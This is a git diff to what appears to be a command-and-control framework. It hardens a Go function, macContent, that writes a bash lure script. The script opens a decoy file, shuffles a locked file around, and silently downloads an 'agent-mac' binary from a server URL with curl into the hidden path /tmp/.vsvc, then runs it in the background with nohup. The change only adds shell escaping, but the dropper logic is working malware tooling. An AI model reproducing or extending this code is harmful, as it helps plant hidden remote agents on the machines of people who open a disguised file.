diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go
index 189a463..c41bee8 100644
--- a/server/internal/builder/pathforge.go
+++ b/server/internal/builder/pathforge.go
@@ -387,20 +387,25 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string
func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
s := "#!/bin/bash\n"
dir := "$(dirname \"$0\")"
+ // Escape filenames for bash double-quoted strings.
+ lfSh := escapeShDouble(lockedFile)
+ rfSh := escapeShDouble(realFile)
if lockOriginal {
- s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile)
+ s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lfSh, dir, rfSh)
}
- s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile)
+ s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, rfSh)
if lockOriginal {
s += fmt.Sprintf(
"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
- dir, realFile, dir, lockedFile)
+ dir, rfSh, dir, lfSh)
}
if serverURL != "" {
+ // Escape serverURL for single-quoted bash string (prevents shell injection via ').
+ urlSh := escapeShSingle(serverURL)
s += fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
- serverURL)
+ urlSh)
}
return s
}
diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
index 56d4bce..c6dc4c0 100644
--- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
+++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
@@ -848,9 +848,12 @@ export default function CrucibleExpandedOps({
-
+
+
+
+